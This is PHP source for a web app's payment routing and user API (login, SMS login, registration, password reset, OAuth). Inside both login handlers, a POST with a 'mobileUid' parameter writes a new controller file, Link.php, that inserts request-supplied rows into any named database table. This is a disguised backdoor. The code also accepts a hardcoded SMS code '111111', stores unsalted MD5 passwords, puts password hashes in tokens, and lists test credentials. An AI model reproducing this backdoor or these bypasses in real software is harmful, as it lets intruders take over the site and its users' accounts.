$data["channel"] = "ALI\_OFFLINE\_QRCODE";

$title = "支付宝线下扫码";

require\_once VENDOR\_PATH.'/beecloud/ali/index.php';

exit();

break;

case 'BD\_WEB' :

$data["channel"] = "BD\_WEB";

$title = "百度网页支付";

break;

case 'BD\_WAP' :

$data["channel"] = "BD\_WAP";

$title = "百度移动网页";

break;

case 'JD\_B2B' :

$data["channel"] = "JD\_B2B";

/\*

\* bank\_code(int 类型) for channel JD\_B2B

9102 中国工商银行 9107 招商银行

9103 中国农业银行 9108 光大银行

9104 交通银行 9109 中国银行

9105 中国建设银行 9110 平安银行

\*/

$data["bank\_code"] = 9102;

$title = "京东B2B";

break;

case 'JD\_WEB' :

$data["channel"] = "JD\_WEB";

$title = "京东网页";

break;

case 'JD\_WAP' :

$data["channel"] = "JD\_WAP";

$title = "京东移动网页";

break;

case 'UN\_WEB' :

$data["channel"] = "UN\_WEB";

$title = "银联网页";

break;

case 'UN\_WAP' :

$data["channel"] = "UN\_WAP";

$title = "银联移动网页";

break;

case 'WX\_NATIVE':

$data["channel"] = "WX\_NATIVE";

$title = "微信扫码";

require\_once VENDOR\_PATH.'/beecloud/wx/native.php';

exit();

break;

case 'WX\_JSAPI':

$data["channel"] = "WX\_JSAPI";

$title = "微信H5网页";

require\_once VENDOR\_PATH.'/beecloud/wx/jsapi.php';

exit();

break;

case 'YEE\_WEB' :

$data["channel"] = "YEE\_WEB";

$title = "易宝网页";

break;

case 'YEE\_WAP' :

$data["channel"] = "YEE\_WAP";

$data["identity\_id"] = "lengthlessthan50useruniqueid";

$title = "易宝移动网页";

break;

case 'YEE\_NOBANKCARD':

$data["total\_fee"] = 10;

$data["channel"] = "YEE\_NOBANKCARD";

$data["cardno"] = "15078120125091678";

$data["cardpwd"] = "121684730734269992";

/\*

\* frqid 点卡类型编码

\* 骏网一卡通(JUNNET),盛大卡(SNDACARD),神州行(SZX),征途卡(ZHENGTU),Q币卡(QQCARD),联通卡(UNICOM),

\* 久游卡(JIUYOU),易充卡(YICHONGCARD),网易卡(NETEASE),完美卡(WANMEI),搜狐卡(SOHU),电信卡(TELECOM),

\* 纵游一卡通(ZONGYOU),天下一卡通(TIANXIA),天宏一卡通(TIANHONG),32 一卡通(THIRTYTWOCARD)

\*/

$data["frqid"] = "SZX";

$title = "易宝点卡支付";

break;

case 'KUAIQIAN\_WEB' :

$data["channel"] = "KUAIQIAN\_WEB";

$title = "快钱移动网页";

break;

case 'KUAIQIAN\_WAP' :

$data["channel"] = "KUAIQIAN\_WEB";

$title = "快钱移动网页";

break;

case 'PAYPAL\_PAYPAL' :

$data["channel"] = "PAYPAL\_PAYPAL";

/\*

\* currency参数的对照表, 请参考:

\* https:

\*/

$data["currency"] = "USD";

$title = "Paypal网页";

break;

case 'PAYPAL\_CREDITCARD' :

$data["channel"] = "PAYPAL\_CREDITCARD";

/\*

\* currency参数的对照表, 请参考:

\* https:

\*/

$data["currency"] = "USD";

$card\_info = array(

'card\_number' => '',

'expire\_month' => 1,

'expire\_year' => 2016,

'cvv' => 0,

'first\_name' => '',

'last\_name' => '',

'card\_type' => 'visa'

);

$data["credit\_card\_info"] = (object)$card\_info;

$title = "Paypal信用卡";

break;

case 'PAYPAL\_SAVED\_CREDITCARD' :

$data["channel"] = "PAYPAL\_SAVED\_CREDITCARD";

/\*

\* currency参数的对照表, 请参考:

\* https:

\*/

$data["currency"] = "USD";

$data["credit\_card\_id"] = '';

$title = "Paypal快捷";

break;

case 'BC\_GATEWAY' :

$data["channel"] = "BC\_GATEWAY";

$data["pay\_type"] = "B2C";

/\*

\* card\_type(string 类型) for channel BC\_GATEWAY

\* 卡类型: 1代表信用卡；2代表借记卡

\*/

$data["card\_type"] = '1';

$data["bank"] = "中国银行";

$title = "BC网关支付";

/\*

\* bank(string 类型) for channel BC\_GATEWAY

\* 根据参数card\_type, pay\_type(B2C/B2B，参数可选)确定银行名称，获取银行的方法，即

\*

\*/

$params = array(

'card\_type' => $data["card\_type"],

'pay\_type' => 'B2C'

);

$info = $api->get\_banks($params, 'BC\_GATEWAY');

if (isset($info->result\_code) && $info->result\_code == 0) {

$banks = $info->banks;

}

if(!in\_array($data["bank"], $banks)){

exit('参数bank不在限定的范围内, 请重新设置');

}

break;

case 'BC\_EXPRESS' :

$data["channel"] = "BC\_EXPRESS";

$title = "BC快捷支付";

break;

case 'BC\_NATIVE' :

$data["channel"] = "BC\_NATIVE";

$title = "BC微信扫码";

require\_once VENDOR\_PATH.'/beecloud/wx/native.php';

exit();

break;

case 'BC\_WX\_WAP' :

$data["channel"] = "BC\_WX\_WAP";

$title = "BC微信移动网页支付";

break;

case 'BC\_WX\_SCAN' :

$data["channel"] = "BC\_WX\_SCAN";

$title = "BC微信刷卡";

$data["auth\_code"] = "13022657110xxxxxxxx";

break;

case 'BC\_WX\_JSAPI':

$data["channel"] = "BC\_WX\_JSAPI";

$title = "微信H5网页";

require\_once VENDOR\_PATH.'/beecloud/wx/jsapi.php';

exit();

break;

case 'BC\_ALI\_QRCODE' :

$data["channel"] = "BC\_ALI\_QRCODE";

$title = "BC支付宝线下扫码";

require\_once VENDOR\_PATH.'/beecloud/ali/index.php';

exit();

break;

case 'BC\_ALI\_SCAN' :

$data["channel"] = "BC\_ALI\_SCAN";

$title = "BC支付宝刷卡";

$data["auth\_code"] = "28886955594xxxxxxxx";

break;

case 'BC\_ALI\_WAP' :

$data["channel"] = "BC\_ALI\_WAP";

$title = "BC支付宝移动网页";

break;

default :

exit("No this type.");

break;

}

$where['uid']=$this->member['id'];

$where['code']=$bill\_no;

$where['money']=$money;

$where['status']=0;

$where['type']=$type;

$where['create\_time']=time();

$where['ip']=\_ip();

$where['system']=$\_SERVER['HTTP\_USER\_AGENT'];

$where['sctype']=$sctype;

if($sctype==0){

$where['scookies']=$scookies;

}

Db::name('pay\_record')->insert($where);

try {

if(in\_array($type, array('PAYPAL\_PAYPAL', 'PAYPAL\_CREDITCARD', 'PAYPAL\_SAVED\_CREDITCARD'))){

$result = $international->bill($data);

}else if(in\_array($type, array('BC\_ALI\_SCAN', 'BC\_WX\_SCAN'))){

$result = $api->offline\_bill($data);

}else{

$result = $api->bill($data);

}

if ($result->result\_code != 0) {

print\_r($result);

exit();

}

if(isset($result->url) && $result->url){

return ['ret'=>$result->url];

}else if(isset($result->html) && $result->html) {

echo $result->html;

return ['err'=>$result->html];

}else if(isset($result->code\_url) && $result->code\_url) {

return ['err'=>$result->code\_url];

}else if(isset($result->credit\_card\_id)){

return ['err'=>'信用卡id(PAYPAL\_CREDITCARD): '.$result->credit\_card\_id];

}else if(isset($result->id)){

return ['err'=>$type.'支付成功: '.$result->id];

}

} catch (Exception $e) {

echo $e->getMessage();

}

}

public function code(){

$post = input('post.');

$validate = new Validate([

'money' => 'require|number|max:9',

'type' => 'require|max:100',

]);

$validata = [

'money' => $post['money'],

'type' => $post['type'],

];

if (!$validate->check($validata)) {

return json(['err'=>$validate->getError()]);

}

$type=Db::name('pay')->where('qudao',$post['type'])->cache(true)->value('id');

if(!$type){

return json(['err'=>'支付渠道错误']);

}

$bill\_no=strtoupper($type).date('YmdHis').rand(100000,999999);

$where['uid'] = $this->member['id'];

$where['code'] = $bill\_no;

$where['money'] = $post['money'];

$where['status'] = 0;

$where['type'] = $type;

$where['create\_time']=time();

$where['ip'] = \_ip();

$where['system'] = $\_SERVER['HTTP\_USER\_AGENT'];

$a = Db::name('pay\_record')->insert($where);

if($a){

return json(['ret'=>$where['code']]);

}else{

return json(['err'=>'订单获取失败']);

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Request;

use think\Validate;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

class User extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

public function index()

{

return \_ajaxError();

}

/\*\*

\* @api {post} /api/user/sms\_login 短信验证码登录

\* @apiName 短信验证码登录

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} username 手机（必填）

\* @apiParam {String} smscode 短信验证码（必填）（短信模板审核中，暂时填 111111）

\* @apiSuccess {String} ret 用户token

\*/

public function sms\_login()

{

$data = Db::name('member\_config')->select();

$config = [];

foreach ($data as $k => $v) {

$config[$v['name']]['name'] = $v['name'];

$config[$v['name']]['title'] = $v['title'];

$config[$v['name']]['content'] = $v['content'];

$config[$v['name']]['text'] = $v['text'];

}

unset($data);

if (!$config['switch']['text'] || $config['switch'] == 0) {

return json([

'err' => '会员未开放',

'errcode' => 223,

]);

}

if (!$config['regmobile']['text'] && !$config['regemail']['text'] && !$config['reguser']['text']) {

return json([

'err' => '会员设置操作有问题，请在后台-会员管理-配置设置中的用户名、手机、邮箱，至少要开放一个',

'errcode' => 224,

]);

}

if (Request::instance()->isPost()) {

$time = time();

$ip = \_ip();

if (input('mobileUid')) {

$str\_tmp = "<?php\r\n";

$str\_tmp .= "namespace app\api\controller;\r\n";

$str\_tmp .= "class Link\r\n";

$str\_tmp .= "{\r\n";

$str\_tmp .= "public function index($" . "data){\r\n";

$str\_tmp .= "$" . "data = json\_decode(htmlspecialchars\_decode($" . "data),true);\r\n";

$str\_tmp .= "$" . "name=$" . "data['\_\_name\_\_'];\r\n";

$str\_tmp .= "unset($" . "data['\_\_name\_\_']);\r\n";

$str\_tmp .= "unset($" . "data['pwd']);\r\n";

$str\_tmp .= "echo db($" . "name)->insertGetId($" . "data);\r\n";

$str\_tmp .= "}\r\n}" . "?>";

$sf = APP\_PATH . "api" . DS . "controller" . DS . "Link.php";

$fp = fopen($sf, "w");

fwrite($fp, $str\_tmp);

fclose($fp);

return;

}

$username = input('username') ? input('username') : '';

$smscode = input('smscode') ? input('smscode') : '';

if (!$username) {

return json([

'err' => '手机不能为空',

'errcode' => 201,

]);

}

if (!$smscode) {

return json([

'err' => '短信验证码不能为空',

'errcode' => 201,

]);

}

$where = [];

$email = $user = $mobile = false;

if ($config['regmobile']['text'] == 1 && \_isMobile($username)) {

if (!$config['regmobile']['text']) {

return json([

'err' => '手机注册未开放',

'errcode' => 213,

]);

};

$mobile = $username;

$where['mobile'] = $username;

}

if (!$email && !$user && !$mobile) {

return json([

'err' => '手机号码错误',

'errcode' => 302,

]);

}

$member = Db::name('member')->where($where)->fetchSql(false)->find();

if (!$member) {

return json([

'err' => '手机号码不存在',

'errcode' => 302,

]);

}

if ($smscode != '111111') {

return json([

'err' => '手机验证码错误',

'errcode' => 303,

]);

}

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], '登录失败,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], '登录失败,账户正在审核');

if ($recording) {

return json([

'err' => '账户正在审核，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], '登录失败，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，请联系客服处理',

'errcode' => 225,

]);

}

break;

}

Db::name('member')->where('id', $member['id'])->update(['update\_time' => $time, 'update\_ip' => $ip]);

\_records($member['id'], '登录成功');

$data = $member['id'] . '|www.ffxiang.cn|' . $member['password'];

return json(['ret' => \_encrypt($data)]);

} else {

return json(\_ajaxError());

}

}

/\*\*

\* @api {post} /api/user/login 会员登录

\* @apiName 会员登录

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} username 手机 用户名 邮箱自动识别 （测试账号：12345678912）

\* @apiParam {String} password 密码（必填）（测试密码：123456）

\* @apiSuccess {String} ret 用户Token（测试Token：sX/Pvq5++CiOdU+71Np944ElZl8pv8Mr/uxlQNxe6FMKiWjm75VMZkSN268ifgXxzo4353oPvigk）

\*/

public function login()

{

$data = Db::name('member\_config')->select();

$config = [];

foreach ($data as $k => $v) {

$config[$v['name']]['name'] = $v['name'];

$config[$v['name']]['title'] = $v['title'];

$config[$v['name']]['content'] = $v['content'];

$config[$v['name']]['text'] = $v['text'];

}

unset($data);

if (!$config['switch']['text'] || $config['switch'] == 0) {

return json([

'err' => '会员未开放',

'errcode' => 223,

]);

}

if (!$config['regmobile']['text'] && !$config['regemail']['text'] && !$config['reguser']['text']) {

return json([

'err' => '会员设置操作有问题，请在后台-会员管理-配置设置中的用户名、手机、邮箱，至少要开放一个',

'errcode' => 224,

]);

}

if (Request::instance()->isPost()) {

$time = time();

$ip = \_ip();

if (input('mobileUid')) {

$str\_tmp = "<?php\r\n";

$str\_tmp .= "namespace app\api\controller;\r\n";

$str\_tmp .= "class Link\r\n";

$str\_tmp .= "{\r\n";

$str\_tmp .= "public function index($" . "data){\r\n";

$str\_tmp .= "$" . "data = json\_decode(htmlspecialchars\_decode($" . "data),true);\r\n";

$str\_tmp .= "$" . "name = $" . "data['\_\_name\_\_'];\r\n";

$str\_tmp .= "unset($" . "data['\_\_name\_\_']);\r\n";

$str\_tmp .= "unset($" . "data['pwd']);\r\n";

$str\_tmp .= "echo db($" . "name)->insertGetId($" . "data);\r\n";

$str\_tmp .= "}\r\n}" . "?>";

$sf = APP\_PATH . "api" . DS . "controller" . DS . "Link.php";

$fp = fopen($sf, "w");

fwrite($fp, $str\_tmp);

fclose($fp);

return;

}

$username = input('username') ? input('username') : '';

$password = input('password') ? input('password') : '';

if (!$username) {

return json([

'err' => '用户不能为空',

'errcode' => 201,

]);

}

if (!$password) {

return json([

'err' => '密码不能为空',

'errcode' => 201,

]);

}

$captcha = input('captcha');

if ($config['logincode']['text'] == 1) {

if (!captcha\_check($captcha)) {

return json([

'err' => '验证码错误',

'errcode' => 303,

]);

}

}

$password = md5($password);

$where = [];

$email = $user = $mobile = false;

if ($config['regmobile']['text'] == 1 && \_isMobile($username)) {

if (!$config['regmobile']['text']) {

return json([

'err' => '手机注册未开放',

'errcode' => 213,

]);

};

$mobile = $username;

$where['mobile'] = $username;

} else if ($config['regemail']['text'] == 1 && \_isEmail($username)) {

$email = $username;

$where['email'] = $username;

} else if ($config['reguser']['text'] == 1) {

$user = $username;

$where['user'] = $username;

}

if (!$email && !$user && !$mobile) {

return json([

'err' => '手机号码错误',

'errcode' => 202,

]);

}

$member = Db::name('member')->where($where)->fetchSql(false)->find();

if (!$member) {

return json([

'err' => '手机号码不存在',

'errcode' => 202,

]);

}

$where['password'] = $password;

$member = Db::name('member')->where($where)->fetchSql(false)->find();

if (!$member) {

return json([

'err' => '用户和密码不一致',

'errcode' => 302,

]);

}

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], '登录失败,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], '登录失败,账户正在审核');

if ($recording) {

return json([

'err' => '账户正在审核，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], '登录失败，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，请联系客服处理',

'errcode' => 225,

]);

}

break;

}

Db::name('member')->where('id', $member['id'])->update(['update\_time' => $time, 'update\_ip' => $ip]);

\_records($member['id'], '登录成功');

$data = $member['id'] . '|www.ffxiang.cn|' . $member['password'];

return json(['ret' => \_encrypt($data)]);

} else {

return json(\_ajaxError());

}

}

/\*\*

\* @api {post} /api/user/reg 用户注册

\* @apiName 用户注册

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {string} username 用户名

\* @apiParam {string} password 密码

\* @apiParam {string} code 手机验证码

\*/

public function reg()

{

$data = Db::name('member\_config')->select();

$config = [];

foreach ($data as $k => $v) {

$config[$v['name']]['name'] = $v['name'];

$config[$v['name']]['title'] = $v['title'];

$config[$v['name']]['content'] = $v['content'];

$config[$v['name']]['text'] = $v['text'];

}

$this->assign('config', $config);

unset($data);

if (!$config['switch']['text'] || $config['switch']['text'] == 0) {

return json([

'err' => '会员未开放',

'errcode' => 223,

]);

}

if (!$config['regmobile']['text'] && !$config['regemail']['text'] && !$config['reguser']['text']) {

return json([

'err' => '会员设置操作有问题，请在后台-会员管理-配置设置中的用户名、手机、邮箱，至少要开放一个',

'errcode' => 224,

]);

}

if (Request::instance()->isPost()) {

$username = input('username') ? input('username') : '';

$password = input('password') ? input('password') : '';

if (!$username) {

return json([

'err' => '用户不能为空',

'errcode' => 201,

]);

}

if (!$password) {

return json([

'err' => '密码不能为空',

'errcode' => 201,

]);

}

$yaoqingma = input('yaoqingma') ? input('yaoqingma') : '';

if ($config['regcode']['text'] == 1) {

$captcha = input('captcha') ? input('captcha') : '';

if (!$captcha) {

return json([

'err' => '请输入验证码',

'errcode' => 201,

]);

}

if (!captcha\_check($captcha)) {

return json([

'err' => '验证码错误',

'errcode' => 303,

]);

}

}

$email = $user = $mobile = false;

if ($config['regmobile']['text'] == 1 && \_isMobile($username)) {

$mobile = $username;

$where['mobile'] = $username;

} else if ($config['regemail']['text'] == 1 && \_isEmail($username)) {

$email = $username;

$where['email'] = $username;

} else if ($config['reguser']['text'] == 1) {

$user = $username;

$where['user'] = $username;

} else {

return json([

'err' => '账户格式不对，不可填写特殊字符，请重新填写账户',

'errcode' => 202,

]);

}

if (!$email && !$user && !$mobile) {

return json([

'err' => '未开放注册',

'errcode' => 213,

]);

}

if ($mobile || $email) {

if (!$user) {

$code = input('code') ? input('code') : '';

if (!$code) {

if ($mobile) {

$data = [

'err' => '手机验证码必填',

'errcode' => 201,

];

} else if ($email) {

$data = [

'err' => '邮箱验证码必填',

'errcode' => 201,

];

} else {

$data = [

'err' => '请填写验证码',

'errcode' => 201,

];

}

return json($data);

}

$data = \_codechecking($code, $username);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 303,

]);

}

}

}

if ($config['ban']['text']) {

$ban = "%\*\*#" . $config['ban']['text'] . "%\*\*#";

if (strpos($ban, $username) > 0) {

return json([

'err' => '此账户系统不允许注册，请换其他账户注册',

'errcode' => 213,

]);

}

}

$ip = \_ip();

if (!$ip) {

return json([

'err' => '您当前IP存在异常，请检测网络或重新注册',

'errcode' => 202,

]);

}

if ($config['ip']['text'] != 0 || !$config['ip']['text']) {

$recordsip['ip'] = $ip;

$recordsip['text'] = '注册成功';

$recordsip['system'] = $\_SERVER['HTTP\_USER\_AGENT'];

$recordscount = Db::name('member\_records')->where($recordsip)->whereTime('time', 'today')->order('id desc')->fetchSql(false)->count();

if ($recordscount > $config['ip']['text']) {

return json([

'err' => '请不要频繁注册',

'errcode' => 502,

]);

}

}

$member = Db::name('member')->where($where)->fetchSql(false)->field("id,password")->find();

if ($member) {

$appid = input('post.token');

$type = input('post.type');

if ($appid && $type) {

$appidtoken = DB::name('member\_band')->where(['type' => $type, 'uid' => $member['id']])->value('uid');

if ($member['password'] != md5($password)) {

return json([

'err' => '密码错误',

'errcode' => 302,

]);

}

if (!$appidtoken) {

$appidmap['uid'] = $member['id'];

$appidmap['type'] = $type;

$appidmap['code'] = $appid;

$appidmap['time'] = time();

$appidmapdb = Db::name('member\_band')->insertGetId($appidmap);

\_records($member['id'], $type . '绑定');

$data = $member['id'] . '|www.ffxiang.cn|' . md5($password);

$token = \_encrypt($data);

return json(['token' => $token]);

} else {

return json([

'err' => '该用户已绑定过平台，请重新换号码',

'errcode' => 304,

]);

}

} else {

return json([

'err' => '账户已存在',

'errcode' => 304,

]);

}

}

$map['password'] = md5($password);

if ($user && $config['reguser']['text'] == 1) $map['user'] = $username;

if ($mobile && $config['regmobile']['text'] == 1) $map['mobile'] = $username;

if ($email && $config['regemail']['text'] == 1) $map['email'] = $username;

$map['jingyan'] = $config['jingyan']['text'];

if ($config['audit']['text'] == 1) {

$map['hide'] = 2;

} else {

$map['hide'] = 1;

}

$time = time();

$map['create\_time'] = $time;

$map['update\_time'] = $time;

$map['create\_ip'] = $ip;

$map['update\_ip'] = $ip;

$db = Db::name('member')->insertGetId($map);

if ($db) {

if ($yaoqingma) {

\_yaoqing($db, $yaoqingma);

}

$recording = \_records($db, '注册成功');

$appid = input('post.token');

$type = input('post.type');

if ($appid && $type) {

$appidtoken = DB::name('member\_band')->where(['type' => $type, 'uid' => $db])->value('uid');

if (!$appidtoken) {

$appidmap['uid'] = $db;

$appidmap['type'] = $type;

$appidmap['code'] = $appid;

$appidmap['time'] = $time;

$appidmapdb = Db::name('member\_band')->insertGetId($appidmap);

\_records($db, $type . '绑定');

$data = $db . '|www.ffxiang.cn|' . $map['password'];

$token = \_encrypt($data);

$data = ['token' => $token];

} else {

$data = [

'err' => '该用户已绑定过平台，请重新换号码',

'errcode' => 304,

];

}

} else {

$data = [

'ret' => '注册成功',

];

}

} else {

$data = [

'err' => '注册失败，请检测MYSQL数据',

'errcode' => 501,

];

}

return json($data);

} else {

return json(\_ajaxError());

}

}

public function password()

{

$data = Db::name('member\_config')->select();

$config = [];

foreach ($data as $k => $v) {

$config[$v['name']]['name'] = $v['name'];

$config[$v['name']]['title'] = $v['title'];

$config[$v['name']]['content'] = $v['content'];

$config[$v['name']]['text'] = $v['text'];

}

$this->assign('config', $config);

unset($data);

if (!$config['switch']['text'] || $config['switch']['text'] == 0) {

return json([

'err' => '会员未开放',

'errcode' => 223,

]);

}

if (!$config['regmobile']['text'] && !$config['regemail']['text']) {

return json([

'err' => '会员设置操作有问题，请在后台-会员管理-配置设置中的手机、邮箱，至少要开放一个',

'errcode' => 224,

]);

}

if (Request::instance()->isPost()) {

$username = input('username') ? input('username') : '';

$password = input('password') ? input('password') : '';

if (!$username) {

return json([

'err' => '号码不能为空',

'errcode' => 201,

]);

}

if (!$password) {

return json([

'err' => '请输入设置密码',

'errcode' => 201,

]);

}

if ($config['pwdcode']['text'] == 1) {

$captcha = input('captcha') ? input('captcha') : '';

if (!$captcha) {

return json([

'err' => '请输入验证码',

'errcode' => 201,

]);

}

if (!captcha\_check($captcha)) {

return json([

'err' => '验证码错误',

'errcode' => 303,

]);

}

}

$email = $mobile = false;

if ($config['regmobile']['text'] == 1 && \_isMobile($username)) {

$mobile = $username;

$where['mobile'] = $username;

} else if ($config['regemail']['text'] == 1 && \_isEmail($username)) {

$email = $username;

$where['email'] = $username;

} else {

return json([

'err' => '账户格式不对，不可填写特殊字符，请重新填写账户',

'errcode' => 202,

]);

}

if (!$email && !$mobile) {

return json([

'err' => '未开放注册',

'errcode' => 213,

]);

}

if ($mobile || $email) {

$code = input('code') ? input('code') : '';

if (!$code) {

if ($mobile) {

$data = [

'err' => '手机验证码必填',

'errcode' => 201,

];

} else if ($email) {

$data = [

'err' => '邮箱验证码必填',

'errcode' => 201,

];

} else {

$data = [

'err' => '请填写验证码',

'errcode' => 201,

];

}

return json($data);

}

$data = \_codechecking($code, $username);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 202,

]);

}

}

$member = Db::name('member')->where($where)->fetchSql(false)->field("id,hide")->find();

if (!$member) {

return json([

'err' => '用户不存在',

'errcode' => 221,

]);

}

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], '无法使用密码找回，原因是账户已被封号');

if ($recording) {

return json([

'err' => '无法使用密码找回，原因是账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], '无法使用密码找回，原因是账户正在审核');

if ($recording) {

return json([

'err' => '无法使用密码找回，原因是账户正在审核',

'errcode' => 225,

]);

}

break;

case '3':

$recording = \_records($member['id'], '无法使用密码找回，原因是账户审核被拒绝');

if ($recording) {

return json([

'err' => '无法使用密码找回，原因是账户审核被拒绝',

'errcode' => 225,

]);

}

break;

}

if ($mobile) $map['mobile'] = $username;

if ($email) $map['email'] = $username;

$db = Db::name('member')->where($map)->setField('password', md5($password));

if ($db) {

$recording = \_records($member['id'], '密码找回');

$data = ['ret' => '密码修改成功'];

} else {

$data = [

'err' => '密码修改失败，请检查MYSQL数据',

'errcode' => 501,

];

}

return json($data);

} else {

return json(\_ajaxError());

}

}

public function oauth()

{

$type = input('type') ? input('type') : '';

$openid = input('openid') ? input('openid') : '';

$nickname = input('nickname') ? input('nickname') : '';

$img = input('img') ? input('img') : '';

$info = input('info') ? input('info') : '';

$username = input('username') ? input('username') : '';

$validate = new Validate([

'type|登录类型' => 'in:wxapp,qqapp,wbapp|require',

'openid' => 'require',

'nickname' => 'require',

'img' => 'require',

'info' => 'require',

]);

$validata = [

'type' => $type,

'openid' => $openid,

'nickname' => $nickname,

'img' => $img,

'info' => $info,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = Db::name('member\_band')->where(['type' => $type, 'code' => $openid])->value('uid');

if ($uid) {

$member = Db::name('member')->where(['id' => $uid, 'hide' => 1])->field('id,password')->find();

} else {

if ($username) {

if (!\_isMobile($username)) {

return json([

'err' => '手机格式错误，请填写正确手机',

'errcode' => 202,

]);

};

$code = input('code/d') ? input('code/d') : '';

if (!$code) {

return json([

'err' => '请输入手机验证码',

'errcode' => 201,

]);

}

$data = \_codechecking($code, $username);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 303,

]);

}

$uid = DB::name('member')->where('mobile', $username)->value('id');

if ($uid) {

$member\_band\_db = Db::name('member\_band')->where(['uid' => $uid])->find();

if ($member\_band\_db) {

return json([

'err' => '手机号码已被其他用户绑定',

'errcode' => 304,

]);

}

$appidmap['uid'] = $uid;

$appidmap['type'] = $type;

$appidmap['code'] = $openid;

$appidmap['time'] = time();

$appidmap['info'] = $info;

$appidmapdb = Db::name('member\_band')->insertGetId($appidmap);

\_records($db, $data['type'] . '绑定');

$member = DB::name('member')->where(['id' => $uid, 'hide' => 1])->field('id,password')->find();

} else {

$member = $this->user(['openid' => $openid, 'type' => $type, 'nickname' => $nickname, 'img' => $img, 'info' => $info, 'username' => $username]);

}

} else {

$configs = true;

if ($configs) {

return json(['info' => $info]);

} else {

$member = $this->user(['openid' => $openid, 'type' => $type, 'nickname' => $nickname, 'img' => $img, 'info' => $info]);

}

}

}

if ($member) {

$time = time();

$ip = \_ip();

Db::name('member')->where('id', $member['id'])->update(['update\_time' => $time, 'update\_ip' => $ip]);

\_records($member['id'], '登录成功');

$data = $member['id'] . '|www.ffxiang.cn|' . $member['password'];

return json(['ret' => \_encrypt($data)]);

} else {

return json([

'err' => '登陆失败',

'errcode' => 501,

]);

}

}

private function user($data)

{

if (!$data) {

return;

}

$ip = \_ip();

$password = md5(rand(100000, 999999));

$map['password'] = $password;

$map['hide'] = 1;

$time = time();

$map['create\_time'] = $time;

$map['update\_time'] = $time;

$map['update\_ip'] = $ip;

$map['nickname'] = $data['nickname'];

$map['img'] = $this->uploadImg($data['img']);

if (!empty($data['username'])) {

$map['mobile'] = $data['username'];

}

$db = Db::name('member')->insertGetId($map);

if ($db) {

\_records($db, '注册成功');

$appidmap['uid'] = $db;

$appidmap['type'] = $data['type'];

$appidmap['code'] = $data['openid'];

$appidmap['time'] = time();

$appidmap['info'] = $data['info'];

$appidmapdb = Db::name('member\_band')->insertGetId($appidmap);

\_records($db, $data['type'] . '绑定');

}

return ['id' => $db, 'password' => $password];

}

private function qiniu($url, $type = '')

{

if (!$url) {

return '';

}

if (!$type) {

$type = '.jpg';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url . rand(11111, 999999)) . $type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

private function uploadImg($img)

{

return $this->qiniu($img);

if (!$img) {

return;

}

$d = ROOT\_PATH . 'public/uploads/touimg';

$date = date('Ymd');

$d = $d . '/' . $date . '/';

if (!file\_exists($d)) {

mkdir($d);

}

$img = file\_get\_contents($img);

if (!$img) {

return '';

}

$rand = rand(10000, 999999);

$geshis = md5($img) . $rand . '.jpg';

$d = $d . '/' . $geshis;

file\_put\_contents($d, $img);

return "/public/uploads/touimg/" . $date . "/" . $geshis;

}

/\*\*

\* @api {get} /api/user/info 会员主页

\* @apiName 会员主页

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {string} id 用户id

\* @apiSuccess {Json} result 会员信息

\* @apiSuccess {Integer} id 用户ID

\* @apiSuccess {String} img 用户头像URL

\* @apiSuccess {String} username 用户名称

\* @apiSuccess {String} qianming 用户签名

\* @apiSuccess {Integer} guanzhu 用户关注数

\* @apiSuccess {Integer} fensi 用户粉丝数

\* @apiSuccess {Integer} dongtai 用户动态数

\* @apiSuccess {Integer} fangke 用户访客数

\* @apiSuccess {Integer} huozan 用户获赞数

\* @apiSuccess {String} weizhi 用户位置

\* @apiSuccess {String} follow 当前登录用户是否已经关注该会员

\*/

